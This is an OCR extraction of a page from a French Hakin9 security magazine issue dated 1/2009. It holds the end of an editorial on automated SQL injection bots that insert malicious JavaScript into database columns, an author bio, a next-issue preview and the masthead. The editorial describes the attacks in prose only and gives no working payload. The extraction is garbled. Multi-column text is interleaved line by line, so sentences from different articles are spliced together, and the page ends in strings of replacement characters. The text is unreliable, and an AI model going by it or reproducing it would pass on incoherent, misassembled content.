l'exploitation d'une injection SQL du type présents dans l'archive war, soit téléchargés il est de plus en plus difficile de s'attaquer
/index.asp?id=3<injection SQL>. sur des serveurs compromis, soit récupérés directement aux machines. Ce sont donc
Une fois la vulnérabilité découverte, ces à partir d'un en-tête dans la requête HTTP les applications web qui sont devenues
robots modifient les données contenues réalisée par le client. Une chance pour les la cible des attaques car elle restent très
dans la base de données afin de rajouter Unixiens, les versions étudiées lors de la exposées, et sont souvent d'un niveau de
des codes malveillants ou des liens vers rédaction de cet éditorial ne touchent que sécurité faible. Ce sont donc des proies
des sites malveillants. Ces modifications les serveurs Windows, probablement car la faciles, pour le moment...
sont tout simplement effectuées par
modification des colonnes contenant
des chaînes de caractères de tailles À propos de l'auteur
Louis Nyffenegger est consultant en sécurité suisse travaillant chez HSC
suffisantes dans la base. Le robot crée
(Hervé Schauer Consultants - http://www.hsc.fr). Il réalise des audits, études
une procédure qui va chercher toutes et tests d'intrusion. Louis remercie toute l'équipe HSC pour son aide et les
ces colonnes et les modifier en faisant relectures. Louis peut être contacté à l'adresse suivante : Louis.Nyffenegger@h
un UPDATE sur l'ensemble des données sc.fr.
pour y ajouter du code Javascript ou des
80 HAKIN9 1/2009
EN MARS
Dans le prochain numéro
Toute l'actualité du prochain numéro sur le site www.hakin9.org/fr.
DOSSIER
ANTIVIRUS EN ENTREPRISE
En BREF
L’actualité du monde de la sécurité informatique et
SUR LE CD
COMME TOUJOURS DANS CHAQUE
DossIer complet présentant les dangers et les des systèmes d’information. Les nouvelles failles, les NUMÉRO NOUS VOUS PROPOSONS
méthodes de défense. intrusions web et les nouvelles applications. HAKIN9.LIVE AVEC LA DISTRIBUTION
BACKTRACK3.
FOCUS
ISO 27001 DATA
APPLICATIONS COMMERCIALES
EN VERSION COMPLÈTE, ET DES
PROGRAMMES EN EXCLUSIVITÉ,
RECOVERY
Nous vous présenterons la suite du dossier sur POUR LA SÉCURITÉ, LA PROTECTION
la certification/norme ISO 27001 décrite dans le ET LA STABILITÉ DE VOTRE SYSTÈME.
numéro courant. . Dans cette rubrique c’est Vincent le Toux qui vous
présente les risques liés aux données, de la clé DES TUTORIELS, DES VIDÉOS
APPROCHE DE LA VIRTUALISATION USB au serveur, les risques de pertes, mais aussi PRATIQUES AFIN DE MIEUX
DES POSTES DE TRAVAIL de vol de données, les moyens de protections liés COMPRENDRE LES MÉTHODES
Cet article expliquera les principes de la a ces périphériques. OFFENSIVES.
virtualisatiion, les différentes méthodes de
virtualisation ainsi que la manière de les VOUS SOUHAITEZ COLLABOR ER
mettre en æuvre. À L'ÉLABORATION D'ARTICLES
N'HÉSITEZ-PAS À NOUS CONTACTER :
ÉDITORIAL
FR@HAKIN9.ORG
Le bimensuel hakin9 est publié par Béta-testeurs : Didier Sicchia, Ignace Elle ne fournit pas de support technique lié
Software-Wydawnictwo Sp. z o.o. Kangni Kueviakoé, JF Albertini, Frédéric Jean à l’installation ou l’utilisation des logiciels
Bassaber, Yves Goux, Clément Facciolo, enregistrés sur le CD-ROM.
Président de Software-Wydawnictwo Sp. z o.o. : Grégory Carlet, Rudy Kommer, Anthony Tous les logos et marques déposés sont la
Paweł Marciniak Foignant, Vincent le Toux propriété de leurs propriétaires respectifs.
Directrice de la publication : Dominika Baran Correction : Clémenet Quinton Pour créer les diagrammes on a utilisé le
Rédactrice en chef : Dominika Baran programme
dominika.baran@hakin9.org Les personnes intéressées par la coopération
Fabrication : Marta Kurpiewska sont invitées à nous contacter :
marta.kurpiewska@software.com.pl fr@hakin9.org
Le CD-ROM joint au magazine a été testé avec
DTP : Préparation du CD : Rafal Kwaśny AntiVirenKit de la société G Data Software Sp.
Marcin Ziółkowski Graphics & Design Studio z o.o.
e-mail : marcin@gdstudio.pl Imprimerie, photogravure : 101 Studio, Firma
http://www.gdstudio.pl Tgi Ekonomiczna 30/36, 93-426 Łódź La rédaction utilise le système PAO
Couverture : Agnieszka Marchocka Imprimé en Pologne
Couverture CD : Łukasz Pabian
Publicité : publicite@software.com.pl AVERTISSEMENT
Abonnement : abonnement@software.com.pl Adresse de correspondance : Les techniques présentées dans les articles ne
Diffusion : Katarzyna Winiarz Software-Wydawnictwo Sp. z o.o. peuvent être utilisées qu’au sein des réseaux
katarzyna.winiarz@software.com.pl Bokserska 1, 02-682 Varsovie, Pologne internes.
Dépôt légal : à parution Tél. +48 22 427 32 87, Fax. +48 22 244 24 59 La rédaction du magazine n’est pas
ISSN : 1731-7037 www.hakin9.org responsable de l’utilisation incorrecte des
Distribution : MLP techniques présentées.
Parc d’activités de Chesnes, 55 bd de la Noirée BP Abonnement (France métropolitaine, DOM/ L’utilisation des techniques présentées peut
59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX TOM) : 1 an (soit 6 numéros) 35 € provoquer la perte des données !
(c) 2009 Software-Wydawnictwo, tous les La rédaction fait tout son possible pour
droits réservés s’assurer que les logiciels sont à jour, elle
décline toute responsabilité pour leur utilisation.
����������������������������
��������������������������������
�������������������������������������������������������������
�������������������������������������������
������������
���� � � �� � �� � � � � �� � � � � �� � �� � � � �� � � �� � � �� � � �� �� �� �� �� � � � � � � � � � �� � � � �
������������ �� � � � �� � � � � �� � � � �� � �� �� � � �� � �� � �� � � � � �� � � � � �� � �� ��� �� � � � � � � � � � � � � � �